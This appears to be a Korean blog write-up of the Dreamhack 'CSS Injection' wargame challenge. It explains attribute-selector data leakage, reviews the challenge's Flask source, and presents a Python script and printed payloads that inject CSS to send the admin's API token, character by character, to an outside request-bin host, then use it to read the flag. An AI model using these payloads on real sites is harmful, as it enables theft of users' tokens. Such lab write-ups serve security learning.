https://dreamhack.io/wargame/challenges/421
안녕하세요
이번 포스팅에서는 드림핵에서 제공하는 CSS Injection 문제를 분석해보겠습니다.
포스팅의 목차는 CSS Injection에 대한 설명과 문제 풀이 순서로 진행합니다.
CSS Injection은 사용자가 입력한 값이 CSS의 속성을 건드릴 수 있을 때,
공격자는 의도하지 않는 동작을 수행하는 행위를 할 수 있습니다.
예를 들어서 CSS에서는 특정 태그를 가져와서 그 태그의 어떤 속성이 무엇과 일치하는지를
확인할 수 있는데, 이 기능일 악용하여 피해자의 정보들이 어떤 값과 일치하는지
그 여부에 따라서 공격자의 C2 서버로 요청을 전송하여
중요 정보를 탈취하는 공격이 가능합니다.
예를 들어서 input 태그의 value 속성이 admin이라고 해보겠습니다.
<input type="text" name="cred" value="admin">
위와 같은 코드가 페이지에서 존재한다고 했을 때, 이 값을 가져올 때
input[value^=a][name=cred] { background : url(...); }
위와 같은 코드를 삽입한다고 한다면, name 속성이 cred이면서 value 값이 a로 시작하는
모든 태그를 가져오게 됩니다.
만약 가져오는데 성공한다면 중괄호 안에 있는 내용이 실행되겠죠?
만약 a로 시작하지 않고 b로 시작한다고 하면 중괄호 내용이 실행되지 않습니다.
실행이 되고 안 되고의 이유는 어떤 로직 자체가 있어서가 아니라
background에 대한 url 설정을 공격자 C2서버로 했는데,
현재 value 속성 값이 admin인데 반해, b로 시작하는 것을 찾는다면 없으니 background의 url이 의미가 없겠죠
마치 블라인드 SQL Injection을 통해서 한글자씩 탐색하는 것과 유사합니다.
그렇다면 이 공격이 어떻게 쓰일까요?
만약 해당 공격이 게시글 형태로 저장되거나, 아니면 링크를 통해서 누군가에게 전달이 가능하다면
공격자는 민감한 데이터를 알아내기 위하여 저런 속성을 수십 수백개 집어넣어놓을 수 있습니다.
공격자의 C2서버에 전송되었다는 것은 곧 해당 데이터가 유효하다는 것이니
공격자는 요청된 패킷들을 확인하여 피해자의 데이터가 무엇인지 조각할 수 있습니다.
이제 문제 풀이를 시작하겠습니다.
해당 문제는 소스코드가 다른 문제에 비해 유난히 많아서
문제 풀이에 필요한 내용들 위주로 리뷰하겠습니다.
def token_generate():
while True:
token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
token_exists = execute(
"SELECT * FROM users WHERE token = :token;", {"token": token}
)
if not token_exists:
return token
token_generate 함수에서는 토큰정보를 생성하는데,
소문자 8글자로 이루어진 토큰 정보를 생성하고 있습니다.
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get("API-KEY", None)
token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {"code": 401, "message": "Access Denined !"}
return wrapped_view
apikey_required 함수에서는 API-KEY라는 헤더 값으로부터 파라미터를 가져와서
apikey라는 변수에 할당하고,
해당 변수를 통한 DBMS 질의를 하여 결과물을 token이라는 변수에 할당합니다.
그 이후 request.uid 값은 질의문에 대한 결과가 존재한다면 [0][0] 인덱스 데이터로 할당합니다.
아마 예측컨데 테이블의 uid 정보라고 생각할 수 있습니다.
@app.context_processor
def background_color():
color = request.args.get("color", "white")
return dict(color=color)
그 다음 background_color 메서드는 color 파라미터에 값을 삽입했을 때
그것을 템플릿 엔진에 삽입하고 있습니다.
아래는 템플릿 엔진 삽입 로직입니다.
<style>
body{
background-color: {{ color }};
}
</style>
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
path = request.form.get("path")
if not path:
flash("fail.")
return redirect(url_for("report"))
if path and path[0] == "/":
path = path[1:]
url = f"http://127.0.0.1:8000/{path}"
if check_url(url):
flash("success.")
else:
flash("fail.")
return redirect(url_for("report"))
elif request.method == "GET":
return render_template("report.html")
report 페이지에서는 입력한 파라미터인 path 정보를 받아서
그것을 서버 로컬의 최상위 경로에 삽입합니다.
이때 check_url 함수가 실행되는데, 해당 함수에서 재밌는 기능이 있습니다.
def check_url(url):
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
driver_promise.then(
driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
)
driver_promise.then(
driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
)
driver_promise = Promise(driver.find_element(By.ID, "submit").click())
driver_promise.then(driver.get(url))
except Exception as e:
driver.quit()
return False
finally:
driver.quit()
return True
check_url 함수가 실행되면 먼저 login 페이지로 이동을 합니다.
그 다음 admin 게정의 아이디와 패스워드를 삽입하고 로그인을 시켜줍니다.
그렇다면 path 파라미터를 통해서 요청한 경로는 admin 계정에서 실행되는 페이지가 렌더링 될 것입니다.
@apikey_required
def APImemo():
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({"idx": tmp[0], "memo": tmp[2]})
return {"code": 200, "memo": memo}
return {"code": 500, "message": "Error !"}
/api/memo 경로에 접근했을 때는 apikey_required 함수가 실행되고
request.uid 값을 통한 데이터베이스 질의문으로 얻은 memos 값을 memo에 추가하여 그것을 리턴해줍니다.
# Add FLAG
execute(
"INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
{"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
)
그리고 서버가 실행되면 플래그 값을 admin 계정의 memo에 추가하며
결과적으로 admin 계정으로 접속하여 memo 페이지로 이동하면 플래그가 존재하는 것입니다.
이를 통해서 공격 로직은 아래와 같이 짜여집니다.
공격은 알파벳 a-z까지를 8번 반복해야 하므로 자동화 공격을 진행합니다.
import requests
import string
url = 'http://host3.dreamhack.games:12203/report?'
for char in string.ascii_lowercase:
path_value = f"mypage?color=black;}}input[value^=qtuhqahc{char}][id=InputApitoken]{{background:url(https://en07a3sgcv3mft.x.pipedream.net?char={char});}}"
data = {"path": path_value}
response = requests.post(url, data=data)
html = response.text
print(data)
한 글자씩 반복문을 돌며 요청하게 되고, 요청에 성공한 값은 동적으로
requestbins 서버에 파라미터로 전송하게 되어 성공한 값은 노출되게 됩니다.
즉 a 요청을 했을 때는 url?char=a 와 같은 방식으로 전송하여
공격자 C2서버에서는 조금 더 직관적으로 확인할 수 있는 것이죠.
{'path': 'mypage?color=black;}input[value^=qtuhqahca][id=InputApitoken]{background:url(https://en07a3sgcv3mft.x.pipedream.net?char=a);}'}
{'path': 'mypage?color=black;}input[value^=qtuhqahcb][id=InputApitoken]{background:url(https://en07a3sgcv3mft.x.pipedream.net?char=b);}'}
{'path': 'mypage?color=black;}input[value^=qtuhqahcc][id=InputApitoken]{background:url(https://en07a3sgcv3mft.x.pipedream.net?char=c);}'}
{'path': 'mypage?color=black;}input[value^=qtuhqahcd][id=InputApitoken]{background:url(https://en07a3sgcv3mft.x.pipedream.net?char=d);}'}
{'path': 'mypage?color=black;}input[value^=qtuhqahce][id=InputApitoken]{background:url(https://en07a3sgcv3mft.x.pipedream.net?char=e);}'}
공격은 위와 같이 진행되며 최종적으로 8글자를 모두 알아낼 수 있습니다.
페이로드가 저렇게 구성되는 이유는 mypage로 접속했을 때는 input 태그가 3개 존재합니다.
이때 3가지의 input 태그 중에서 API Token이라는 태그만 중요한데,
F12를 눌러서 API Token 이름의 input 태그 값을 확인해보면 ID 값이 InputApitoken입니다.
CSS에서 두가지 이상의 속성값을 추가할 때는 대괄호를 이어붙여도 되고
and 연산자를 사용해도 된다고 합니다.
저는 대괄호를 사용했습니다.
이렇게 알아낸 토큰 값을 통해서 /api/memo 에 Header 값으로 토큰을 삽입하고 요청합니다.
import requests
flag = requests.get(headers={"API-KEY":"qtuhqahc"}, url='http://host3.dreamhack.games:12203/api/memo')
print(flag.text)
[DreamHack] XS-Search (1) | 2024.09.17 |
---|---|
[DreamHack] DOM XSS (9) | 2024.09.06 |